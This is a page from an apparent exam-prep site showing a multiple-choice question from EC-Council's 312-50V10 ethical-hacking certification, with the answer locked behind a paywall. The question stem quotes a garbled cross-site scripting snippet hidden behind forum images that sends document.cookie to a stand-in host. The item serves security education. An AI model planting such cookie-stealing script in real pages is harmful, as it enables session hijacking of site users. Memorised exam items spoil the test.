EC-Council
312-50V10 · Question #816
312-50V10 Question #816: Real Exam Question with Answer & Explanation
Sign in or unlock 312-50V10 to reveal the answer and full explanation for question #816. The question stem and answer options stay visible for context.
Question
Judy created a forum, one day. she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images: <script> document.writef<img src="https://Ioca(host/submitcookie.php? cookie ='+ escape(document.cookie)+ " />); </script> What issue occurred for the users who clicked on the image?
Options
- AThe code inject a new cookie to the browser.
- BThe code redirects the user to another site.
- CThe code is a virus that is attempting to gather the users username and password.
- DThis php file silently executes the code and grabs the users session cookie and session ID.
Unlock 312-50V10 to see the answer
You've previewed enough free 312-50V10 questions. Unlock 312-50V10 for full answers, explanations, the timed quiz mode, progress tracking, and the master PDF. Question stem and options stay visible so you can still see what's on the exam.